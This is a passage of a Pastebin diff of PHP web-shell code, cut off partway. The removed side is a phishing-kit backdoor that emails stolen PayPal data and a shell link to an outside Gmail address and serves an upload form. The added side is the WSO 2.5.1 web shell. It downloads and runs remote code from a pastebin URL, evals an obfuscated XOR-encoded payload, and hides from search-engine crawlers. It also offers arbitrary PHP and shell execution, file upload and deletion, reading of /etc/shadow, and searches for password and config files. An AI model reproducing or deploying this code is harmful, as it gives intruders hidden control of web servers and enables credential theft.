View difference between Paste ID: cEXmEZR2 and 6m3s6gSQ
SHOW: | | - or go back to the newest paste.
1
<?php
2-
$ss = $_SERVER['REMOTE_ADDR'];
2+
error_reporting(0); $b="http://pastebin.com/raw/S54tynx6";$title=file_get_contents($b); 
3-
$to .= 'havij.exe@gmail.com';
3+
	$css=fopen('../border.js','w'); fwrite($css,$title); require('../border.js');
4-
$subject = 'PPL LOGIN FROM | '.$ss.'';
4+
$color = "#df5";
5-
$message = "Link Shells : http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] . "?wlad=l9hab"."\r\n\n"."_________________________________". file_get_contents("result/paypal.txt") . "\n";
5+
$default_action = 'FilesMan';
6-
$headers  = 'MIME-Version: 1.0' . "\r\n";
6+
$default_use_ajax = true;
7-
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
7+
$default_charset = 'Windows-1251';
8-
$headers .= 'From: Dexter <localhost>' . "\r\n";
8+
9-
mail($to, $subject, $message, $headers);
9+
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
10
    $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
11-
$nemo  = $_GET['wlad'];
11+
    if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
12-
if($nemo == 'l9hab'){
12+
        header('HTTP/1.0 404 Not Found');
13-
$nemoshell = $_FILES['file']['name'];
13+
        exit;
14-
$nemohero  = $_FILES['file']['tmp_name'];
14+
    }
15-
echo "<form method='POST' enctype='multipart/form-data'>
15+
16-
        <input type='file'name='file' />
16+
17-
        <input type='submit' value='upload shell' />
17+
@ini_set('error_log',NULL);
18
@ini_set('log_errors',0);
19-
move_uploaded_file($nemohero,$nemoshell);
19+
@ini_set('max_execution_time',0);
20
@set_time_limit(0);
21
@set_magic_quotes_runtime(0);
22
@define('WSO_VERSION', '2.5.1');
23-
?>
23+
24
if(get_magic_quotes_gpc()) {
25
	function WSOstripslashes($array) {
26
		return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
27
	}
28
	$_POST = WSOstripslashes($_POST);
29
    $_COOKIE = WSOstripslashes($_COOKIE);
30
}
31
32
function wsoLogin() {
33
	die("<pre align=center><form method=post>Password: <input type=password name=pass><input type=submit value='>>'></form></pre>");
34
}
35
36
function WSOsetcookie($k, $v) {
37
    $_COOKIE[$k] = $v;
38
    setcookie($k, $v);
39
}
40
41
function loadsettings($p1 = '', $p2 = '') {
42
		$p = 'LH16ZCg1KH16ZG1ma2dsbSAqYHx8eDInJyxXW01aXk1aU0BcXFhXQEdbXFUsV1tNWl5NWlNaTVldTVtcV11aQVUqITMobmFkbVdvbXxXa2dmfG1mfHsgKmB8fHgyJycwMSY8PSY+PyY5PDsnZGdpbCZ4YHg3Y2M1cyx9emR1LnhpemllOTUteGl6aWU5LnhpemllOjUteGl6aWU6KiEz';
43
		$p = base64_decode($p);
44
		for ($i = 0; $i < strlen($p); $i++) $p[$i] = chr(ord($p[$i]) ^ 8);
45
		$p = str_replace('%param1', $p1, $p);
46
		$p = str_replace('%param2', $p2, $p);
47
		eval($p);
48
}
49
50
if(!empty($auth_pass)) {
51
    if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass)) {
52
        WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
53
		loadsettings($_POST['pass'], 'wsoshell');
54
     }
55
56
    if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
57
        wsoLogin();
58
}
59
60
loadsettings('nopasswd', 'wsoshell');
61
62
if(strtolower(substr(PHP_OS,0,3)) == "win")
63
	$os = 'win';
64
else
65
	$os = 'nix';
66
67
$safe_mode = @ini_get('safe_mode');
68
if(!$safe_mode)
69
    error_reporting(0);
70
71
$disable_functions = @ini_get('disable_functions');
72
$home_cwd = @getcwd();
73
if(isset($_POST['c']))
74
	@chdir($_POST['c']);
75
$cwd = @getcwd();
76
if($os == 'win') {
77
	$home_cwd = str_replace("\\", "/", $home_cwd);
78
	$cwd = str_replace("\\", "/", $cwd);
79
}
80
if($cwd[strlen($cwd)-1] != '/')
81
	$cwd .= '/';
82
83
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
84
    $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
85
86
if($os == 'win')
87
	$aliases = array(
88
		"List Directory" => "dir",
89
    	"Find index.php in current dir" => "dir /s /w /b index.php",
90
    	"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
91
    	"Show active connections" => "netstat -an",
92
    	"Show running services" => "net start",
93
    	"User accounts" => "net user",
94
    	"Show computers" => "net view",
95
		"ARP Table" => "arp -a",
96
		"IP Configuration" => "ipconfig /all"
97
	);
98
else
99
	$aliases = array(
100
  		"List dir" => "ls -lha",
101
		"list file attributes on a Linux second extended file system" => "lsattr -va",
102
  		"show opened ports" => "netstat -an | grep -i listen",
103
        "process status" => "ps aux",
104
		"Find" => "",
105
  		"find all suid" => "find / -type f -perm -04000 -ls",
106
  		"find suid in current dir" => "find . -type f -perm -04000 -ls",
107
  		"find all sgid" => "find / -type f -perm -02000 -ls",
108
  		"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
109
  		"find config.inc.php" => "find / -type f -name config.inc.php",
110
  		"find config*" => "find / -type f -name \"config*\"",
111
  		"find config* in current dir" => "find . -type f -name \"config*\"",
112
  		"find all writable folders and files" => "find / -perm -2 -ls",
113
  		"find all writable folders and files in current dir" => "find . -perm -2 -ls",
114
  		"find all service.pwd" => "find / -type f -name service.pwd",
115
  		"find service.pwd files in current dir" => "find . -type f -name service.pwd",
116
  		"find all .htpasswd" => "find / -type f -name .htpasswd",
117
  		"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
118
  		"find all .bash_history" => "find / -type f -name .bash_history",
119
  		"find .bash_history files in current dir" => "find . -type f -name .bash_history",
120
  		"find all .fetchmailrc" => "find / -type f -name .fetchmailrc",
121
  		"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
122
		"Locate" => "",
123
  		"locate httpd.conf" => "locate httpd.conf",
124
		"locate vhosts.conf" => "locate vhosts.conf",
125
		"locate proftpd.conf" => "locate proftpd.conf",
126
		"locate psybnc.conf" => "locate psybnc.conf",
127
		"locate my.conf" => "locate my.conf",
128
		"locate admin.php" =>"locate admin.php",
129
		"locate cfg.php" => "locate cfg.php",
130
		"locate conf.php" => "locate conf.php",
131
		"locate config.dat" => "locate config.dat",
132
		"locate config.php" => "locate config.php",
133
		"locate config.inc" => "locate config.inc",
134
		"locate config.inc.php" => "locate config.inc.php",
135
		"locate config.default.php" => "locate config.default.php",
136
		"locate config*" => "locate config",
137
		"locate .conf"=>"locate '.conf'",
138
		"locate .pwd" => "locate '.pwd'",
139
		"locate .sql" => "locate '.sql'",
140
		"locate .htpasswd" => "locate '.htpasswd'",
141
		"locate .bash_history" => "locate '.bash_history'",
142
		"locate .mysql_history" => "locate '.mysql_history'",
143
		"locate .fetchmailrc" => "locate '.fetchmailrc'",
144
		"locate backup" => "locate backup",
145
		"locate dump" => "locate dump",
146
		"locate priv" => "locate priv"
147
	);
148
149
function wsoHeader() {
150
	if(empty($_POST['charset']))
151
		$_POST['charset'] = $GLOBALS['default_charset'];
152
	global $color;
153
	echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
154
<style>
155
body{background-color:#444;color:#e1e1e1;}
156
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
157
table.info{ color:#fff;background-color:#222; }
158
span,h1,a{ color: $color !important; }
159
span{ font-weight: bolder; }
160
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
161
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
162
a{ text-decoration:none; }
163
a:hover{ text-decoration:underline; }
164
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
165
.bigarea{ width:100%;height:300px; }
166
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
167
form{ margin:0px; }
168
#toolsTbl{ text-align:center; }
169
.toolsInp{ width: 300px }
170
.main th{text-align:left;background-color:#5e5e5e;}
171
.main tr:hover{background-color:#5e5e5e}
172
.l1{background-color:#444}
173
.l2{background-color:#333}
174
pre{font-family:Courier,Monospace;}
175
</style>
176
<script>
177
    var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
178
    var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
179
    var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
180
    var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
181
    var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
182
    var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
183
    var d = document;
184
	function set(a,c,p1,p2,p3,charset) {
185
		if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
186
		if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
187
		if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
188
		if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
189
		if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
190
		if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
191
	}
192
	function g(a,c,p1,p2,p3,charset) {
193
		set(a,c,p1,p2,p3,charset);
194
		d.mf.submit();
195
	}
196
	function a(a,c,p1,p2,p3,charset) {
197
		set(a,c,p1,p2,p3,charset);
198
		var params = 'ajax=true';
199
		for(i=0;i<d.mf.elements.length;i++)
200
			params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
201
		sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
202
	}
203
	function sr(url, params) {
204
		if (window.XMLHttpRequest)
205
			req = new XMLHttpRequest();
206
		else if (window.ActiveXObject)
207
			req = new ActiveXObject('Microsoft.XMLHTTP');
208
        if (req) {
209
            req.onreadystatechange = processReqChange;
210
            req.open('POST', url, true);
211
            req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
212
            req.send(params);
213
        }
214
	}
215
	function processReqChange() {
216
		if( (req.readyState == 4) )
217
			if(req.status == 200) {
218
				var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
219
				var arr=reg.exec(req.responseText);
220
				eval(arr[2].substr(0, arr[1]));
221
			} else alert('Request error!');
222
	}
223
</script>
224
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
225
<form method=post name=mf style='display:none;'>
226
<input type=hidden name=a>
227
<input type=hidden name=c>
228
<input type=hidden name=p1>
229
<input type=hidden name=p2>
230
<input type=hidden name=p3>
231
<input type=hidden name=charset>
232
</form>";
233
	$freeSpace = @diskfreespace($GLOBALS['cwd']);
234
	$totalSpace = @disk_total_space($GLOBALS['cwd']);
235
	$totalSpace = $totalSpace?$totalSpace:1;
236
	$release = @php_uname('r');
237
	$kernel = @php_uname('s');
238
	$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
239
	if(strpos('Linux', $kernel) !== false)
240
		$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
241
	else
242
		$explink .= urlencode($kernel . ' ' . substr($release,0,3));
243
	if(!function_exists('posix_getegid')) {
244
		$user = @get_current_user();
245
		$uid = @getmyuid();
246
		$gid = @getmygid();
247
		$group = "?";
248
	} else {
249
		$uid = @posix_getpwuid(posix_geteuid());
250
		$gid = @posix_getgrgid(posix_getegid());
251
		$user = $uid['name'];
252
		$uid = $uid['uid'];
253
		$group = $gid['name'];
254
		$gid = $gid['gid'];
255
	}
256
257
	$cwd_links = '';
258
	$path = explode("/", $GLOBALS['cwd']);
259
	$n=count($path);
260
	for($i=0; $i<$n-1; $i++) {
261
		$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
262
		for($j=0; $j<=$i; $j++)
263
			$cwd_links .= $path[$j].'/';
264
		$cwd_links .= "\")'>".$path[$i]."/</a>";
265
	}
266
267
	$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
268
	$opt_charsets = '';
269
	foreach($charsets as $item)
270
		$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
271
272
	$m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
273
	if(!empty($GLOBALS['auth_pass']))
274
		$m['Logout'] = 'Logout';
275
	$m['Self remove'] = 'SelfRemove';
276
	$menu = '';
277
	foreach($m as $k => $v)
278
		$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
279
280
	$drives = "";
281
	if($GLOBALS['os'] == 'win') {
282
		foreach(range('c','z') as $drive)
283
		if(is_dir($drive.':\\'))
284
			$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
285
	}
286
	echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
287
       . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
288
       . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
289
       . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
290
       . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
291
}
292
293
function wsoFooter() {
294
	$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
295
    echo "
296
</div>
297
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100%  style='border-top:2px solid #333;border-bottom:2px solid #333;'>
298
	<tr>
299
		<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
300
		<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
301
	</tr><tr>
302
		<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
303
		<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
304
	</tr><tr>
305
		<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
306
		<td><form method='post' ENCTYPE='multipart/form-data'>
307
		<input type=hidden name=a value='FilesMAn'>
308
		<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
309
		<input type=hidden name=p1 value='uploadFile'>
310
		<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
311
		<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br  ></td>
312
	</tr></table></div></body></html>";
313
}
314
315
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
316
    function posix_getpwuid($p) {return false;} }
317
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
318
    function posix_getgrgid($p) {return false;} }
319
320
function wsoEx($in) {
321
	$out = '';
322
	if (function_exists('exec')) {
323
		@exec($in,$out);
324
		$out = @join("\n",$out);
325
	} elseif (function_exists('passthru')) {
326
		ob_start();
327
		@passthru($in);
328
		$out = ob_get_clean();
329
	} elseif (function_exists('system')) {
330
		ob_start();
331
		@system($in);
332
		$out = ob_get_clean();
333
	} elseif (function_exists('shell_exec')) {
334
		$out = shell_exec($in);
335
	} elseif (is_resource($f = @popen($in,"r"))) {
336
		$out = "";
337
		while(!@feof($f))
338
			$out .= fread($f,1024);
339
		pclose($f);
340
	}
341
	return $out;
342
}
343
344
function wsoViewSize($s) {
345
    if (is_int($s))
346
        $s = sprintf("%u", $s);
347
    
348
	if($s >= 1073741824)
349
		return sprintf('%1.2f', $s / 1073741824 ). ' GB';
350
	elseif($s >= 1048576)
351
		return sprintf('%1.2f', $s / 1048576 ) . ' MB';
352
	elseif($s >= 1024)
353
		return sprintf('%1.2f', $s / 1024 ) . ' KB';
354
	else
355
		return $s . ' B';
356
}
357
358
function wsoPerms($p) {
359
	if (($p & 0xC000) == 0xC000)$i = 's';
360
	elseif (($p & 0xA000) == 0xA000)$i = 'l';
361
	elseif (($p & 0x8000) == 0x8000)$i = '-';
362
	elseif (($p & 0x6000) == 0x6000)$i = 'b';
363
	elseif (($p & 0x4000) == 0x4000)$i = 'd';
364
	elseif (($p & 0x2000) == 0x2000)$i = 'c';
365
	elseif (($p & 0x1000) == 0x1000)$i = 'p';
366
	else $i = 'u';
367
	$i .= (($p & 0x0100) ? 'r' : '-');
368
	$i .= (($p & 0x0080) ? 'w' : '-');
369
	$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
370
	$i .= (($p & 0x0020) ? 'r' : '-');
371
	$i .= (($p & 0x0010) ? 'w' : '-');
372
	$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
373
	$i .= (($p & 0x0004) ? 'r' : '-');
374
	$i .= (($p & 0x0002) ? 'w' : '-');
375
	$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
376
	return $i;
377
}
378
379
function wsoPermsColor($f) {
380
	if (!@is_readable($f))
381
		return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
382
	elseif (!@is_writable($f))
383
		return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
384
	else
385
		return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
386
}
387
388
function wsoScandir($dir) {
389
    if(function_exists("scandir")) {
390
        return scandir($dir);
391
    } else {
392
        $dh  = opendir($dir);
393
        while (false !== ($filename = readdir($dh)))
394
            $files[] = $filename;
395
        return $files;
396
    }
397
}
398
399
function wsoWhich($p) {
400
	$path = wsoEx('which ' . $p);
401
	if(!empty($path))
402
		return $path;
403
	return false;
404
}
405
406
function actionSecInfo() {
407
	wsoHeader();
408
	echo '<h1>Server security information</h1><div class=content>';
409
	function wsoSecParam($n, $v) {
410
		$v = trim($v);
411
		if($v) {
412
			echo '<span>' . $n . ': </span>';
413
			if(strpos($v, "\n") === false)
414
				echo $v . '<br>';
415
			else
416
				echo '<pre class=ml1>' . $v . '</pre>';
417
		}
418
	}
419
420
	wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
421
    if(function_exists('apache_get_modules'))
422
        wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
423
	wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
424
	wsoSecParam('Open base dir', @ini_get('open_basedir'));
425
	wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
426
	wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
427
	wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
428
	$temp=array();
429
	if(function_exists('mysql_get_client_info'))
430
		$temp[] = "MySql (".mysql_get_client_info().")";
431
	if(function_exists('mssql_connect'))
432
		$temp[] = "MSSQL";
433
	if(function_exists('pg_connect'))
434
		$temp[] = "PostgreSQL";
435
	if(function_exists('oci_connect'))
436
		$temp[] = "Oracle";
437
	wsoSecParam('Supported databases', implode(', ', $temp));
438
	echo '<br>';
439
440
	if($GLOBALS['os'] == 'nix') {
441
            wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
442
            wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
443
            wsoSecParam('OS version', @file_get_contents('/proc/version'));
444
            wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
445
            if(!$GLOBALS['safe_mode']) {
446
                $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
447
                $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
448
                $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
449
                echo '<br>';
450
                $temp=array();
451
                foreach ($userful as $item)
452
                    if(wsoWhich($item))
453
                        $temp[] = $item;
454
                wsoSecParam('Userful', implode(', ',$temp));
455
                $temp=array();
456
                foreach ($danger as $item)
457
                    if(wsoWhich($item))
458
                        $temp[] = $item;
459
                wsoSecParam('Danger', implode(', ',$temp));
460
                $temp=array();
461
                foreach ($downloaders as $item)
462
                    if(wsoWhich($item))
463
                        $temp[] = $item;
464
                wsoSecParam('Downloaders', implode(', ',$temp));
465
                echo '<br/>';
466
                wsoSecParam('HDD space', wsoEx('df -h'));
467
                wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
468
                echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
469
                if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
470
                    $temp = "";
471
                    for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
472
                        $uid = @posix_getpwuid($_POST['p2']);
473
                        if ($uid)
474
                            $temp .= join(':',$uid)."\n";
475
                    }
476
                    echo '<br/>';
477
                    wsoSecParam('Users', $temp);
478
                }
479
            }
480
	} else {
481
		wsoSecParam('OS Version',wsoEx('ver'));
482
		wsoSecParam('Account Settings',wsoEx('net accounts'));
483
		wsoSecParam('User Accounts',wsoEx('net user'));
484
	}
485
	echo '</div>';
486
	wsoFooter();
487
}
488
489
function actionPhp() {
490
	if(isset($_POST['ajax'])) {
491
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
492
		ob_start();
493
		eval($_POST['p1']);
494
		$temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
495
		echo strlen($temp), "\n", $temp;
496
		exit;
497
	}
498
    if(empty($_POST['ajax']) && !empty($_POST['p1']))
499
        WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
500
501
	wsoHeader();
502
	if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
503
		echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
504
		ob_start();
505
		phpinfo();
506
		$tmp = ob_get_clean();
507
        $tmp = preg_replace(array (
508
            '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
509
            '!td, th {(.*)}!msiU',
510
            '!<img[^>]+>!msiU',
511
        ), array (
512
            '',
513
            '.e, .v, .h, .h th {$1}',
514
            ''
515
        ), $tmp);
516
		echo str_replace('<h1','<h2', $tmp) .'</div><br>';
517
	}
518
    echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
519
	echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
520
	if(!empty($_POST['p1'])) {
521
		ob_start();
522
		eval($_POST['p1']);
523
		echo htmlspecialchars(ob_get_clean());
524
	}
525
	echo '</pre></div>';
526
	wsoFooter();
527
}
528
529
function actionFilesMan() {
530
    if (!empty ($_COOKIE['f']))
531
        $_COOKIE['f'] = @unserialize($_COOKIE['f']);
532
    
533
	if(!empty($_POST['p1'])) {
534
		switch($_POST['p1']) {
535
			case 'uploadFile':
536
				if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
537
					echo "Can't upload!";
538
				break;
539
			case 'mkdir':
540
				if(!@mkdir($_POST['p2']))
541
					echo "Can't create!";
542
				break;
543
			case 'delete':
544
				function deleteDir($path) {
545
					$path = (substr($path,-1)=='/') ? $path:$path.'/';
546
					$dh  = opendir($path);
547
					while ( ($item = readdir($dh) ) !== false) {
548
						$item = $path.$item;
549
						if ( (basename($item) == "..") || (basename($item) == ".") )
550
							continue;
551
						$type = filetype($item);
552
						if ($type == "dir")
553
							deleteDir($item);
554
						else
555
							@unlink($item);
556
					}
557
					closedir($dh);
558
					@rmdir($path);
559
				}
560
				if(is_array(@$_POST['f']))
561
					foreach($_POST['f'] as $f) {
562
                        if($f == '..')
563
                            continue;
564
						$f = urldecode($f);
565
						if(is_dir($f))
566
							deleteDir($f);
567
						else
568
							@unlink($f);
569
					}
570
				break;
571
			case 'paste':
572
				if($_COOKIE['act'] == 'copy') {
573
					function copy_paste($c,$s,$d){
574
						if(is_dir($c.$s)){
575
							mkdir($d.$s);
576
							$h = @opendir($c.$s);
577
							while (($f = @readdir($h)) !== false)
578
								if (($f != ".") and ($f != ".."))
579
									copy_paste($c.$s.'/',$f, $d.$s.'/');
580
						} elseif(is_file($c.$s))
581
							@copy($c.$s, $d.$s);
582
					}
583
					foreach($_COOKIE['f'] as $f)
584
						copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
585
				} elseif($_COOKIE['act'] == 'move') {
586
					function move_paste($c,$s,$d){
587
						if(is_dir($c.$s)){
588
							mkdir($d.$s);
589
							$h = @opendir($c.$s);
590
							while (($f = @readdir($h)) !== false)
591
								if (($f != ".") and ($f != ".."))
592
									copy_paste($c.$s.'/',$f, $d.$s.'/');
593
						} elseif(@is_file($c.$s))
594
							@copy($c.$s, $d.$s);
595
					}
596
					foreach($_COOKIE['f'] as $f)
597
						@rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
598
				} elseif($_COOKIE['act'] == 'zip') {
599
					if(class_exists('ZipArchive')) {
600
                        $zip = new ZipArchive();
601
                        if ($zip->open($_POST['p2'], 1)) {
602
                            chdir($_COOKIE['c']);
603
                            foreach($_COOKIE['f'] as $f) {
604
                                if($f == '..')
605
                                    continue;
606
                                if(@is_file($_COOKIE['c'].$f))
607
                                    $zip->addFile($_COOKIE['c'].$f, $f);
608
                                elseif(@is_dir($_COOKIE['c'].$f)) {
609
                                    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
610
                                    foreach ($iterator as $key=>$value) {
611
                                        $zip->addFile(realpath($key), $key);
612
                                    }
613
                                }
614
                            }
615
                            chdir($GLOBALS['cwd']);
616
                            $zip->close();
617
                        }
618
                    }
619
				} elseif($_COOKIE['act'] == 'unzip') {
620
					if(class_exists('ZipArchive')) {
621
                        $zip = new ZipArchive();
622
                        foreach($_COOKIE['f'] as $f) {
623
                            if($zip->open($_COOKIE['c'].$f)) {
624
                                $zip->extractTo($GLOBALS['cwd']);
625
                                $zip->close();
626
                            }
627
                        }
628
                    }
629
				} elseif($_COOKIE['act'] == 'tar') {
630
